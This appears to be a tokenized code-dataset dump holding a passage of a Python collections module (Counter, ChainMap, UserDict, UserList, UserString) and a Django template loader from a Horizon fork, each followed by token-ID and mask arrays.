elem, count in other.items(): if elem not in self and count < 0: result[elem] = 0 - count return result def __or__(self, other): '''Union is the maximum of value in either of the input counters. >>> Counter('abbb') | Counter('bcc') Counter({'b': 3, 'c': 2, 'a': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): other_count = other[elem] newcount = other_count if count < other_count else count if newcount > 0: result[elem] = newcount for elem, count in other.items(): if elem not in self and count > 0: result[elem] = count return result def __and__(self, other): ''' Intersection is the minimum of corresponding counts. >>> Counter('abbb') & Counter('bcc') Counter({'b': 1}) ''' if not isinstance(other, Counter): return NotImplemented result = Counter() for elem, count in self.items(): other_count = other[elem] newcount = count if count < other_count else other_count if newcount > 0: result[elem] = newcount return result ######################################################################## ### ChainMap (helper for configparser) ######################################################################## class ChainMap(MutableMapping): ''' A ChainMap groups multiple dicts (or other mappings) together to create a single, updateable view. The underlying mappings are stored in a list. That list is public and can accessed or updated using the *maps* attribute. There is no other state. Lookups search the underlying mappings successively until a key is found. In contrast, writes, updates, and deletions only operate on the first mapping. ''' def __init__(self, *maps): '''Initialize a ChainMap by setting *maps* to the given mappings. If no mappings are provided, a single empty dictionary is used. ''' self.maps = list(maps) or [{}] # always at least one map def __missing__(self, key): raise KeyError(key) def __getitem__(self, key): for mapping in self.maps: try: return mapping[key] # can't use 'key in mapping' with defaultdict except KeyError: pass return self.__missing__(key) # support subclasses that define __missing__ def get(self, key, default=None): return self[key] if key in self else default def __len__(self): return len(set().union(*self.maps)) # reuses stored hash values if possible def __iter__(self): return iter(set().union(*self.maps)) def __contains__(self, key): return any(key in m for m in self.maps) def __bool__(self): return any(self.maps) #fixme, brython #@_recursive_repr() def __repr__(self): return '{0.__class__.__name__}({1})'.format( self, ', '.join(map(repr, self.maps))) def __repr__(self): return ','.join(str(_map) for _map in self.maps) @classmethod def fromkeys(cls, iterable, *args): 'Create a ChainMap with a single dict created from the iterable.' return cls(dict.fromkeys(iterable, *args)) def copy(self): 'New ChainMap or subclass with a new copy of maps[0] and refs to maps[1:]' return self.__class__(self.maps[0].copy(), *self.maps[1:]) __copy__ = copy def new_child(self): # like Django's Context.push() 'New ChainMap with a new dict followed by all previous maps.' return self.__class__({}, *self.maps) @property def parents(self): # like Django's Context.pop() 'New ChainMap from maps[1:].' return self.__class__(*self.maps[1:]) def __setitem__(self, key, value): self.maps[0][key] = value def __delitem__(self, key): try: del self.maps[0][key] except KeyError: raise KeyError('Key not found in the first mapping: {!r}'.format(key)) def popitem(self): 'Remove and return an item pair from maps[0]. Raise KeyError is maps[0] is empty.' try: return self.maps[0].popitem() except KeyError: raise KeyError('No keys found in the first mapping.') def pop(self, key, *args): 'Remove *key* from maps[0] and return its value. Raise KeyError if *key* not in maps[0].' try: return self.maps[0].pop(key, *args) except KeyError: #raise KeyError('Key not found in the first mapping: {!r}'.format(key)) raise KeyError('Key not found in the first mapping: %s' % key) def clear(self): 'Clear maps[0], leaving maps[1:] intact.' self.maps[0].clear() ################################################################################ ### UserDict ################################################################################ class UserDict(MutableMapping): # Start by filling-out the abstract methods def __init__(self, dict=None, **kwargs): self.data = {} if dict is not None: self.update(dict) if len(kwargs): self.update(kwargs) def __len__(self): return len(self.data) def __getitem__(self, key): if key in self.data: return self.data[key] if hasattr(self.__class__, "__missing__"): return self.__class__.__missing__(self, key) raise KeyError(key) def __setitem__(self, key, item): self.data[key] = item def __delitem__(self, key): del self.data[key] def __iter__(self): return iter(self.data) # Modify __contains__ to work correctly when __missing__ is present def __contains__(self, key): return key in self.data # Now, add the methods in dicts but not in MutableMapping def __repr__(self): return repr(self.data) def copy(self): if self.__class__ is UserDict: return UserDict(self.data.copy()) import copy data = self.data try: self.data = {} c = copy.copy(self) finally: self.data = data c.update(self) return c @classmethod def fromkeys(cls, iterable, value=None): d = cls() for key in iterable: d[key] = value return d ################################################################################ ### UserList ################################################################################ class UserList(MutableSequence): """A more or less complete user-defined wrapper around list objects.""" def __init__(self, initlist=None): self.data = [] if initlist is not None: # XXX should this accept an arbitrary sequence? if type(initlist) == type(self.data): self.data[:] = initlist elif isinstance(initlist, UserList): self.data[:] = initlist.data[:] else: self.data = list(initlist) def __repr__(self): return repr(self.data) def __lt__(self, other): return self.data < self.__cast(other) def __le__(self, other): return self.data <= self.__cast(other) def __eq__(self, other): return self.data == self.__cast(other) def __ne__(self, other): return self.data != self.__cast(other) def __gt__(self, other): return self.data > self.__cast(other) def __ge__(self, other): return self.data >= self.__cast(other) def __cast(self, other): return other.data if isinstance(other, UserList) else other def __contains__(self, item): return item in self.data def __len__(self): return len(self.data) def __getitem__(self, i): return self.data[i] def __setitem__(self, i, item): self.data[i] = item def __delitem__(self, i): del self.data[i] def __add__(self, other): if isinstance(other, UserList): return self.__class__(self.data + other.data) elif isinstance(other, type(self.data)): return self.__class__(self.data + other) return self.__class__(self.data + list(other)) def __radd__(self, other): if isinstance(other, UserList): return self.__class__(other.data + self.data) elif isinstance(other, type(self.data)): return self.__class__(other + self.data) return self.__class__(list(other) + self.data) def __iadd__(self, other): if isinstance(other, UserList): self.data += other.data elif isinstance(other, type(self.data)): self.data += other else: self.data += list(other) return self def __mul__(self, n): return self.__class__(self.data*n) __rmul__ = __mul__ def __imul__(self, n): self.data *= n return self def append(self, item): self.data.append(item) def insert(self, i, item): self.data.insert(i, item) def pop(self, i=-1): return self.data.pop(i) def remove(self, item): self.data.remove(item) def clear(self): self.data.clear() def copy(self): return self.__class__(self) def count(self, item): return self.data.count(item) def index(self, item, *args): return self.data.index(item, *args) def reverse(self): self.data.reverse() def sort(self, *args, **kwds): self.data.sort(*args, **kwds) def extend(self, other): if isinstance(other, UserList): self.data.extend(other.data) else: self.data.extend(other) ################################################################################ ### UserString ################################################################################ class UserString(Sequence): def __init__(self, seq): if isinstance(seq, str): self.data = seq elif isinstance(seq, UserString): self.data = seq.data[:] else: self.data = str(seq) def __str__(self): return str(self.data) def __repr__(self): return repr(self.data) def __int__(self): return int(self.data) def __float__(self): return float(self.data) def __complex__(self): return complex(self.data) def __hash__(self): return hash(self.data) def __eq__(self, string): if isinstance(string, UserString): return self.data == string.data return self.data == string def __ne__(self, string): if isinstance(string, UserString): return self.data != string.data return self.data != string def __lt__(self, string): if isinstance(string, UserString): return self.data < string.data return self.data < string def __le__(self, string): if isinstance(string, UserString): return self.data <= string.data return self.data <= string def __gt__(self, string): if isinstance(string, UserString): return self.data > string.data return self.data > string def __ge__(self, string): if isinstance(string, UserString): return self.data >= string.data return self.data >= string def __contains__(self, char): if isinstance(char, UserString): char = char.data return char in self.data def __len__(self): return len(self.data) def __getitem__(self, index): return self.__class__(self.data[index]) def __add__(self, other): if isinstance(other, UserString): return self.__class__(self.data + other.data) elif isinstance(other, str): return self.__class__(self.data + other) return self.__class__(self.data + str(other)) def __radd__(self, other): if isinstance(other, str): return self.__class__(other + self.data) return self.__class__(str(other) + self.data) def __mul__(self, n): return self.__class__(self.data*n) __rmul__ = __mul__ def __mod__(self, args): return self.__class__(self.data % args) # the following methods are defined in alphabetical order: def capitalize(self): return self.__class__(self.data.capitalize()) def center(self, width, *args): return self.__class__(self.data.center(width, *args)) def count(self, sub, start=0, end=_sys.maxsize): if isinstance(sub, UserString): sub = sub.data return self.data.count(sub, start, end) def encode(self, encoding=None, errors=None): # XXX improve this? if encoding: if errors: return self.__class__(self.data.encode(encoding, errors)) return self.__class__(self.data.encode(encoding)) return self.__class__(self.data.encode()) def endswith(self, suffix, start=0, end=_sys.maxsize): return self.data.endswith(suffix, start, end) def expandtabs(self, tabsize=8): return self.__class__(self.data.expandtabs(tabsize)) def find(self, sub, start=0, end=_sys.maxsize): if isinstance(sub, UserString): sub = sub.data return self.data.find(sub, start, end) def format(self, *args, **kwds): return self.data.format(*args, **kwds) def index(self, sub, start=0, end=_sys.maxsize): return self.data.index(sub, start, end) def isalpha(self): return self.data.isalpha() def isalnum(self): return self.data.isalnum() def isdecimal(self): return self.data.isdecimal() def isdigit(self): return self.data.isdigit() def isidentifier(self): return self.data.isidentifier() def islower(self): return self.data.islower() def isnumeric(self): return self.data.isnumeric() def isspace(self): return self.data.isspace() def istitle(self): return self.data.istitle() def isupper(self): return self.data.isupper() def join(self, seq): return self.data.join(seq) def ljust(self, width, *args): return self.__class__(self.data.ljust(width, *args)) def lower(self): return self.__class__(self.data.lower()) def lstrip(self, chars=None): return self.__class__(self.data.lstrip(chars)) def partition(self, sep): return self.data.partition(sep) def replace(self, old, new, maxsplit=-1): if isinstance(old, UserString): old = old.data if isinstance(new, UserString): new = new.data return self.__class__(self.data.replace(old, new, maxsplit)) def rfind(self, sub, start=0, end=_sys.maxsize): if isinstance(sub, UserString): sub = sub.data return self.data.rfind(sub, start, end) def rindex(self, sub, start=0, end=_sys.maxsize): return self.data.rindex(sub, start, end) def rjust(self, width, *args): return self.__class__(self.data.rjust(width, *args)) def rpartition(self, sep): return self.data.rpartition(sep) def rstrip(self, chars=None): return self.__class__(self.data.rstrip(chars)) def split(self, sep=None, maxsplit=-1): return self.data.split(sep, maxsplit) def rsplit(self, sep=None, maxsplit=-1): return self.data.rsplit(sep, maxsplit) def splitlines(self, keepends=False): return self.data.splitlines(keepends) def startswith(self, prefix, start=0, end=_sys.maxsize): return self.data.startswith(prefix, start, end) def strip(self, chars=None): return self.__class__(self.data.strip(chars)) def swapcase(self): return self.__class__(self.data.swapcase()) def title(self): return self.__class__(self.data.title()) def translate(self, *args): return self.__class__(self.data.translate(*args)) def upper(self): return self.__class__(self.data.upper()) def zfill(self, width): return self.__class__(self.data.zfill(width))
bsd-3-clause
[ 3, 363, 452, 363, 275, 788, 22983, 297, 283, 21501, 297, 283, 11348, 418, 199, 199, 504, 485, 7882, 492, 15782, 12, 10018, 199, 199, 3, 504, 7975, 492, 11982, 465, 485, 8755, 12, 6036, 465, 485, 4429, 12, 14664, 1130, 465, 485, 7848, 1130, 199, 199, 363, 452, 363, 275, 788, 22983, 297, 283, 21501, 297, 283, 18921, 297, 283, 30088, 297, 283, 1899, 1296, 297, 288, 283, 1899, 1558, 297, 283, 11348, 297, 283, 16882, 418, 199, 3, 2104, 8498, 14183, 3637, 14872, 12, 314, 3245, 17281, 83, 787, 3247, 315, 485, 371, 15772, 14, 647, 14, 199, 3, 9322, 1077, 13432, 506, 8652, 376, 20583, 1777, 402, 5055, 14, 647, 14, 199, 199, 3, 5325, 278, 330, 23196, 703, 2337, 365, 376, 4976, 543, 485, 371, 15772, 199, 3, 504, 485, 371, 15772, 492, 627, 199, 3, 504, 485, 371, 15772, 492, 2494, 199, 504, 485, 371, 15772, 492, 29396, 199, 3, 646, 485, 371, 15772, 199, 3, 363, 452, 363, 847, 485, 371, 15772, 855, 452, 363, 199, 199, 504, 5055, 14, 3175, 492, 627, 199, 646, 5055, 14, 3175, 199, 363, 452, 363, 847, 5055, 14, 3175, 855, 452, 363, 199, 199, 504, 485, 7882, 492, 15782, 12, 10018, 12, 12863, 199, 504, 4182, 492, 1242, 7416, 465, 485, 20832, 199, 504, 4252, 492, 365, 6691, 465, 485, 374, 6691, 199, 646, 984, 465, 485, 1274, 199, 646, 13295, 81, 465, 485, 12492, 81, 199, 3, 970, 278, 330, 23196, 199, 3, 504, 13852, 492, 4566, 465, 485, 3280, 199, 504, 7975, 492, 11982, 465, 485, 8755, 12, 6036, 465, 485, 4429, 12, 14664, 1130, 465, 485, 7848, 1130, 199, 504, 4700, 773, 492, 9133, 63, 2722, 465, 485, 9931, 63, 2722, 199, 199, 533, 2494, 8, 409, 304, 272, 986, 199, 199, 533, 10975, 8, 513, 304, 272, 986, 199, 199, 318, 485, 3280, 8, 1113, 304, 272, 372, 1559, 199, 199, 13289, 199, 5680, 8773, 199, 13289, 199, 199, 533, 485, 3834, 8, 785, 304, 272, 636, 7257, 363, 275, 283, 5701, 297, 283, 2184, 297, 283, 498, 297, 2560, 21330, 12217, 199, 199, 533, 8773, 8, 807, 304, 272, 283, 11728, 626, 295, 6334, 22470, 1865, 7, 272, 327, 1626, 12623, 1211, 9033, 2883, 370, 1338, 14, 272, 327, 710, 12623, 1211, 6571, 636, 6095, 3108, 636, 552, 3108, 636, 6134, 3108, 436, 664, 14, 272, 327, 710, 7971, 3102, 787, 1865, 13, 14600, 14, 272, 327, 13123, 13, 47, 3879, 5431, 367, 1006, 3102, 787, 314, 2011, 465, 5578, 11196, 14, 339, 327, 710, 5007, 291, 855, 1130, 1211, 9033, 2883, 370, 6220, 315, 282, 28584, 590, 10632, 769, 14, 272, 327, 710, 15032, 28584, 590, 10632, 769, 9174, 436, 11187, 543, 282, 13792, 1819, 14, 272, 327, 710, 13792, 1819, 7078, 7545, 5463, 334, 3749, 17553, 5604, 314, 5563, 680, 272, 327, 710, 13792, 365, 315, 291, 855, 8726, 1231, 543, 282, 13852, 4566, 315, 291, 855, 1231, 14, 272, 327, 710, 5071, 6220, 787, 13852, 14942, 334, 475, 7981, 15032, 6941, 680, 272, 327, 1010, 15067, 6220, 787, 16204, 19708, 701, 314, 7508, 3659, 315, 291, 855, 1130, 14, 272, 327, 18049, 261, 7508, 6941, 2153, 27307, 1380, 282, 790, 365, 5463, 687, 376, 8773, 14, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 10340, 304, 267, 1449, 9345, 376, 7741, 2600, 14, 221, 710, 4955, 365, 314, 2011, 465, 267, 5578, 11196, 12, 1325, 4252, 2368, 787, 440, 14318, 2952, 267, 3932, 22470, 1865, 365, 9697, 14, 398, 1449, 267, 340, 822, 8, 589, 9, 690, 413, 26, 288, 746, 3146, 360, 2062, 737, 4750, 413, 2368, 12, 4788, 450, 68, 7, 450, 822, 8, 589, 430, 267, 862, 26, 288, 291, 855, 1231, 267, 871, 4281, 26, 288, 291, 855, 8726, 1231, 275, 485, 3834, 342, 288, 291, 855, 1231, 275, 1738, 275, 485, 3280, 8, 277, 855, 8726, 1231, 9, 288, 1738, 14, 5701, 275, 1738, 14, 2184, 275, 1738, 288, 291, 855, 1130, 275, 1052, 267, 291, 855, 873, 2031, 589, 12, 1011, 10340, 9, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 12, 490, 1211, 63, 8617, 29, 807, 855, 8617, 3108, 4566, 3699, 3280, 12, 10967, 3699, 3834, 304, 267, 283, 364, 855, 8617, 721, 73, 12, 612, 9, 22651, 14467, 59, 73, 10404, 89, 7, 267, 327, 13510, 282, 892, 1242, 8491, 282, 892, 2142, 737, 314, 1284, 402, 314, 10632, 769, 12, 267, 327, 436, 314, 12623, 2600, 365, 4588, 543, 314, 892, 790, 15, 585, 4092, 14, 267, 340, 790, 440, 315, 291, 26, 288, 291, 855, 1130, 59, 498, 61, 275, 2142, 275, 10967, 342, 288, 1738, 275, 291, 855, 1231, 288, 2061, 275, 1738, 14, 5701, 288, 2142, 14, 5701, 12, 2142, 14, 2184, 12, 2142, 14, 498, 275, 2061, 12, 1738, 12, 790, 288, 2061, 14, 2184, 275, 2142, 288, 1738, 14, 5701, 275, 4566, 8, 1073, 9, 267, 1211, 63, 8617, 8, 277, 12, 790, 12, 574, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 12, 1211, 63, 13228, 29, 807, 855, 13228, 18580, 267, 283, 364, 855, 13228, 721, 89, 9, 22651, 2150, 14467, 59, 89, 6616, 267, 327, 15920, 376, 3411, 1242, 4440, 291, 855, 1130, 370, 2342, 314, 2142, 1314, 7545, 267, 327, 4829, 701, 12928, 314, 6220, 315, 314, 876, 27914, 269, 436, 3182, 269, 3380, 14, 267, 1211, 63, 13228, 8, 277, 12, 790, 9, 267, 2142, 275, 291, 855, 1130, 14, 1935, 8, 498, 9, 267, 2142, 63, 5701, 275, 2142, 14, 5701, 267, 2142, 63, 2184, 275, 2142, 14, 2184, 267, 2142, 63, 5701, 14, 2184, 275, 2142, 63, 2184, 267, 2142, 63, 2184, 14, 5701, 275, 2142, 63, 5701, 339, 347, 636, 1661, 721, 277, 304, 267, 283, 364, 855, 1661, 4533, 22651, 2740, 8, 364, 3171, 267, 327, 12643, 2077, 314, 10632, 769, 315, 1865, 14, 267, 1738, 275, 291, 855, 1231, 267, 8230, 275, 1738, 14, 2184, 267, 1830, 8230, 365, 440, 1738, 26, 288, 1995, 8230, 14, 498, 288, 8230, 275, 8230, 14, 2184, 339, 347, 636, 13501, 721, 277, 304, 267, 283, 364, 855, 13501, 4533, 22651, 10822, 8, 364, 3171, 267 ]
[ 363, 452, 363, 275, 788, 22983, 297, 283, 21501, 297, 283, 11348, 418, 199, 199, 504, 485, 7882, 492, 15782, 12, 10018, 199, 199, 3, 504, 7975, 492, 11982, 465, 485, 8755, 12, 6036, 465, 485, 4429, 12, 14664, 1130, 465, 485, 7848, 1130, 199, 199, 363, 452, 363, 275, 788, 22983, 297, 283, 21501, 297, 283, 18921, 297, 283, 30088, 297, 283, 1899, 1296, 297, 288, 283, 1899, 1558, 297, 283, 11348, 297, 283, 16882, 418, 199, 3, 2104, 8498, 14183, 3637, 14872, 12, 314, 3245, 17281, 83, 787, 3247, 315, 485, 371, 15772, 14, 647, 14, 199, 3, 9322, 1077, 13432, 506, 8652, 376, 20583, 1777, 402, 5055, 14, 647, 14, 199, 199, 3, 5325, 278, 330, 23196, 703, 2337, 365, 376, 4976, 543, 485, 371, 15772, 199, 3, 504, 485, 371, 15772, 492, 627, 199, 3, 504, 485, 371, 15772, 492, 2494, 199, 504, 485, 371, 15772, 492, 29396, 199, 3, 646, 485, 371, 15772, 199, 3, 363, 452, 363, 847, 485, 371, 15772, 855, 452, 363, 199, 199, 504, 5055, 14, 3175, 492, 627, 199, 646, 5055, 14, 3175, 199, 363, 452, 363, 847, 5055, 14, 3175, 855, 452, 363, 199, 199, 504, 485, 7882, 492, 15782, 12, 10018, 12, 12863, 199, 504, 4182, 492, 1242, 7416, 465, 485, 20832, 199, 504, 4252, 492, 365, 6691, 465, 485, 374, 6691, 199, 646, 984, 465, 485, 1274, 199, 646, 13295, 81, 465, 485, 12492, 81, 199, 3, 970, 278, 330, 23196, 199, 3, 504, 13852, 492, 4566, 465, 485, 3280, 199, 504, 7975, 492, 11982, 465, 485, 8755, 12, 6036, 465, 485, 4429, 12, 14664, 1130, 465, 485, 7848, 1130, 199, 504, 4700, 773, 492, 9133, 63, 2722, 465, 485, 9931, 63, 2722, 199, 199, 533, 2494, 8, 409, 304, 272, 986, 199, 199, 533, 10975, 8, 513, 304, 272, 986, 199, 199, 318, 485, 3280, 8, 1113, 304, 272, 372, 1559, 199, 199, 13289, 199, 5680, 8773, 199, 13289, 199, 199, 533, 485, 3834, 8, 785, 304, 272, 636, 7257, 363, 275, 283, 5701, 297, 283, 2184, 297, 283, 498, 297, 2560, 21330, 12217, 199, 199, 533, 8773, 8, 807, 304, 272, 283, 11728, 626, 295, 6334, 22470, 1865, 7, 272, 327, 1626, 12623, 1211, 9033, 2883, 370, 1338, 14, 272, 327, 710, 12623, 1211, 6571, 636, 6095, 3108, 636, 552, 3108, 636, 6134, 3108, 436, 664, 14, 272, 327, 710, 7971, 3102, 787, 1865, 13, 14600, 14, 272, 327, 13123, 13, 47, 3879, 5431, 367, 1006, 3102, 787, 314, 2011, 465, 5578, 11196, 14, 339, 327, 710, 5007, 291, 855, 1130, 1211, 9033, 2883, 370, 6220, 315, 282, 28584, 590, 10632, 769, 14, 272, 327, 710, 15032, 28584, 590, 10632, 769, 9174, 436, 11187, 543, 282, 13792, 1819, 14, 272, 327, 710, 13792, 1819, 7078, 7545, 5463, 334, 3749, 17553, 5604, 314, 5563, 680, 272, 327, 710, 13792, 365, 315, 291, 855, 8726, 1231, 543, 282, 13852, 4566, 315, 291, 855, 1231, 14, 272, 327, 710, 5071, 6220, 787, 13852, 14942, 334, 475, 7981, 15032, 6941, 680, 272, 327, 1010, 15067, 6220, 787, 16204, 19708, 701, 314, 7508, 3659, 315, 291, 855, 1130, 14, 272, 327, 18049, 261, 7508, 6941, 2153, 27307, 1380, 282, 790, 365, 5463, 687, 376, 8773, 14, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 10340, 304, 267, 1449, 9345, 376, 7741, 2600, 14, 221, 710, 4955, 365, 314, 2011, 465, 267, 5578, 11196, 12, 1325, 4252, 2368, 787, 440, 14318, 2952, 267, 3932, 22470, 1865, 365, 9697, 14, 398, 1449, 267, 340, 822, 8, 589, 9, 690, 413, 26, 288, 746, 3146, 360, 2062, 737, 4750, 413, 2368, 12, 4788, 450, 68, 7, 450, 822, 8, 589, 430, 267, 862, 26, 288, 291, 855, 1231, 267, 871, 4281, 26, 288, 291, 855, 8726, 1231, 275, 485, 3834, 342, 288, 291, 855, 1231, 275, 1738, 275, 485, 3280, 8, 277, 855, 8726, 1231, 9, 288, 1738, 14, 5701, 275, 1738, 14, 2184, 275, 1738, 288, 291, 855, 1130, 275, 1052, 267, 291, 855, 873, 2031, 589, 12, 1011, 10340, 9, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 12, 490, 1211, 63, 8617, 29, 807, 855, 8617, 3108, 4566, 3699, 3280, 12, 10967, 3699, 3834, 304, 267, 283, 364, 855, 8617, 721, 73, 12, 612, 9, 22651, 14467, 59, 73, 10404, 89, 7, 267, 327, 13510, 282, 892, 1242, 8491, 282, 892, 2142, 737, 314, 1284, 402, 314, 10632, 769, 12, 267, 327, 436, 314, 12623, 2600, 365, 4588, 543, 314, 892, 790, 15, 585, 4092, 14, 267, 340, 790, 440, 315, 291, 26, 288, 291, 855, 1130, 59, 498, 61, 275, 2142, 275, 10967, 342, 288, 1738, 275, 291, 855, 1231, 288, 2061, 275, 1738, 14, 5701, 288, 2142, 14, 5701, 12, 2142, 14, 2184, 12, 2142, 14, 498, 275, 2061, 12, 1738, 12, 790, 288, 2061, 14, 2184, 275, 2142, 288, 1738, 14, 5701, 275, 4566, 8, 1073, 9, 267, 1211, 63, 8617, 8, 277, 12, 790, 12, 574, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 12, 1211, 63, 13228, 29, 807, 855, 13228, 18580, 267, 283, 364, 855, 13228, 721, 89, 9, 22651, 2150, 14467, 59, 89, 6616, 267, 327, 15920, 376, 3411, 1242, 4440, 291, 855, 1130, 370, 2342, 314, 2142, 1314, 7545, 267, 327, 4829, 701, 12928, 314, 6220, 315, 314, 876, 27914, 269, 436, 3182, 269, 3380, 14, 267, 1211, 63, 13228, 8, 277, 12, 790, 9, 267, 2142, 275, 291, 855, 1130, 14, 1935, 8, 498, 9, 267, 2142, 63, 5701, 275, 2142, 14, 5701, 267, 2142, 63, 2184, 275, 2142, 14, 2184, 267, 2142, 63, 5701, 14, 2184, 275, 2142, 63, 2184, 267, 2142, 63, 2184, 14, 5701, 275, 2142, 63, 5701, 339, 347, 636, 1661, 721, 277, 304, 267, 283, 364, 855, 1661, 4533, 22651, 2740, 8, 364, 3171, 267, 327, 12643, 2077, 314, 10632, 769, 315, 1865, 14, 267, 1738, 275, 291, 855, 1231, 267, 8230, 275, 1738, 14, 2184, 267, 1830, 8230, 365, 440, 1738, 26, 288, 1995, 8230, 14, 498, 288, 8230, 275, 8230, 14, 2184, 339, 347, 636, 13501, 721, 277, 304, 267, 283, 364, 855, 13501, 4533, 22651, 10822, 8, 364, 3171, 267, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
fmyzjs/horizon-hacker
horizon/loaders.py
16
1571
""" Wrapper for loading templates from "templates" directories in panel modules. """ import os from django.conf import settings from django.template.base import TemplateDoesNotExist from django.template.loader import BaseLoader from django.utils._os import safe_join # Set up a cache of the panel directories to search. panel_template_dirs = {} class TemplateLoader(BaseLoader): is_usable = True def get_template_sources(self, template_name): bits = template_name.split(os.path.sep, 2) if len(bits) == 3: dash_name, panel_name, remainder = bits key = os.path.join(dash_name, panel_name) if key in panel_template_dirs: template_dir = panel_template_dirs[key] try: yield safe_join(template_dir, panel_name, remainder) except UnicodeDecodeError: # The template dir name wasn't valid UTF-8. raise except ValueError: # The joined path was located outside of template_dir. pass def load_template_source(self, template_name, template_dirs=None): for path in self.get_template_sources(template_name): try: file = open(path) try: return (file.read().decode(settings.FILE_CHARSET), path) finally: file.close() except IOError: pass raise TemplateDoesNotExist(template_name) _loader = TemplateLoader()
apache-2.0
[ 624, 199, 4590, 367, 8697, 7009, 687, 298, 5876, 2, 6602, 315, 12748, 4621, 14, 199, 624, 199, 199, 646, 747, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1160, 14, 1095, 492, 27193, 199, 504, 1639, 14, 1160, 14, 3422, 492, 3523, 5455, 199, 504, 1639, 14, 1208, 423, 736, 492, 5048, 63, 904, 199, 199, 3, 2494, 1536, 282, 2581, 402, 314, 12748, 6602, 370, 2754, 14, 199, 7885, 63, 1160, 63, 3220, 275, 1052, 421, 199, 533, 5458, 5455, 8, 1563, 5455, 304, 272, 365, 63, 14418, 275, 715, 339, 347, 664, 63, 1160, 63, 4553, 8, 277, 12, 1978, 63, 354, 304, 267, 5821, 275, 1978, 63, 354, 14, 1294, 8, 736, 14, 515, 14, 4127, 12, 499, 9, 267, 340, 822, 8, 5609, 9, 508, 650, 26, 288, 11847, 63, 354, 12, 12748, 63, 354, 12, 15748, 275, 5821, 288, 790, 275, 747, 14, 515, 14, 904, 8, 6760, 63, 354, 12, 12748, 63, 354, 9, 288, 340, 790, 315, 12748, 63, 1160, 63, 3220, 26, 355, 1978, 63, 694, 275, 12748, 63, 1160, 63, 3220, 59, 498, 61, 355, 862, 26, 490, 1995, 5048, 63, 904, 8, 1160, 63, 694, 12, 12748, 63, 354, 12, 15748, 9, 355, 871, 18965, 26, 490, 327, 710, 1978, 2935, 536, 17373, 1133, 1686, 9094, 13, 24, 14, 490, 746, 355, 871, 1722, 26, 490, 327, 710, 16538, 931, 1990, 16180, 9682, 402, 1978, 63, 694, 14, 490, 986, 339, 347, 2248, 63, 1160, 63, 1365, 8, 277, 12, 1978, 63, 354, 12, 1978, 63, 3220, 29, 403, 304, 267, 367, 931, 315, 291, 14, 362, 63, 1160, 63, 4553, 8, 1160, 63, 354, 304, 288, 862, 26, 355, 570, 275, 1551, 8, 515, 9, 355, 862, 26, 490, 372, 334, 493, 14, 739, 1252, 2708, 8, 1751, 14, 3817, 63, 23969, 395, 931, 9, 355, 3753, 26, 490, 570, 14, 1600, 342, 288, 871, 5925, 26, 355, 986, 267, 746, 27193, 8, 1160, 63, 354, 9, 421, 199, 63, 3422, 275, 5458, 5455, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 